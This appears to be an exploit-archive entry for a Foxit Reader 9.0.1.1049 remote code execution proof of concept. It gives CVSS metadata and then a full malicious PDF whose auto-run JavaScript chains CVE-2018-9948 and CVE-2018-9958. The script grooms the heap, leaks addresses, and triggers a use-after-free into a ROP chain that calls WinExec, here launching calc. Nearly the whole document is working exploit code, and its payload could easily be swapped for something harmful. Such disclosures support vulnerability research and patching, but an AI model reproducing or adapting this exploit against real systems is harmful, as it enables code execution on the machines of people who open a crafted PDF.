Foxit Reader 9.0.1.1049 remote code execution PoC

2018.06.25
Credit: mr_me
Risk: High
Local: No
Remote: Yes
CWE: CWE-416


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

%PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( /* Foxit Reader Remote Code Execution Exploit ========================================== Written by: Steven Seeley (mr_me) of Source Incite Date: 22/06/2018 Technical details: https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html Download: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English Target version: Foxit Reader v9.0.1.1049 (sha1: e3bf26617594014f4af2ef2b72b4a86060ec229f) Tested on: 1. Windows 7 Ultimate x86 build 6.1.7601 sp1 2. Windows 10 Pro x86 v1803 build 10.0.17134 Vulnerabilities leveraged: 1. CVE-2018-9948 2. CVE-2018-9958 */ var heap_ptr = 0; var foxit_base = 0; var pwn_array = []; function prepare_heap(size){ /* This function prepares the heap state between allocations and frees to get a predictable memory address back. */ var arr = new Array(size); for(var i = 0; i < size; i++){ arr[i] = this.addAnnot({type: "Text"});; if (typeof arr[i] == "object"){ arr[i].destroy(); } } } function gc() { /* This is a simple garbage collector, written by the notorious @saelo Greetz, mi amigo. */ const maxMallocBytes = 128 * 0x100000; for (var i = 0; i < 3; i++) { var x = new ArrayBuffer(maxMallocBytes); } } function alloc_at_leak(){ /* This is the function that allocates at the leaked address */ for (var i = 0; i < 0x64; i++){ pwn_array[i] = new Int32Array(new ArrayBuffer(0x40)); } } function control_memory(){ /* This is the function that fills the memory address that we leaked */ for (var i = 0; i < 0x64; i++){ for (var j = 0; j < pwn_array[i].length; j++){ pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4 } } } function leak_vtable(){ /* Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948 Found by: bit from meepwn team */ // alloc var a = this.addAnnot({type: "Text"}); // free a.destroy(); gc(); // kinda defeat lfh randomization in win 10 prepare_heap(0x400); // reclaim var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); // leak the vtable var leaked = stolen[0] & 0xffff0000; // a hard coded offset to FoxitReader.exe base v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68) foxit_base = leaked - 0x01f50000; } function leak_heap_chunk(){ /* Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948 Found by: bit from meepwn team */ // alloc var a = this.addAnnot({type: "Text"}); // free a.destroy(); // kinda defeat lfh randomization in win 10 prepare_heap(0x400); // reclaim var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); // alloc at the freed location alloc_at_leak(); // leak a heap chunk of size 0x40 heap_ptr = stolen[1]; } function reclaim(){ /* This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability. All gadgets are from FoxitReader.exe v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68) */ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret rop[0x02] = 0x72727272; // junk rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret rop[0x04] = 0xffffffff; // ret of WinExec rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret rop[0x0a] = foxit_base + 0x0041c6ca; // ret rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret rop[0x0c] = 0x636c6163; // calc rop[0x0d] = 0x00000000; // adios, amigo for (var j = 0x0e; j < rop.length; j++) { rop[j] = 0x71727374; } } } function trigger_uaf(){ /* Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958 Found by: Steven Seeley (mr_me) of Source Incite */ var that = this; var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); var arr = [1]; Object.defineProperties(arr,{ "0":{ get: function () { // free that.getAnnot(0, "uaf").destroy(); // reclaim freed memory reclaim(); return 1; } } }); // re-use a.point = arr; } function main(){ // 1. Leak a heap chunk of size 0x40 leak_heap_chunk(); // 2. Leak vtable and calculate the base of Foxit Reader leak_vtable(); // 3. Then fill the memory region from step 1 with a stack pivot control_memory(); // 4. Trigger the uaf, reclaim the memory, pivot to rop and win trigger_uaf(); } if (app.platform == "WIN"){ if (app.isFoxit == "Foxit Reader"){ if (app.appFoxitVersion == "9.0.1.1049"){ main(); } } } )>> trailer <</Root 1 0 R>>

References:

https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html


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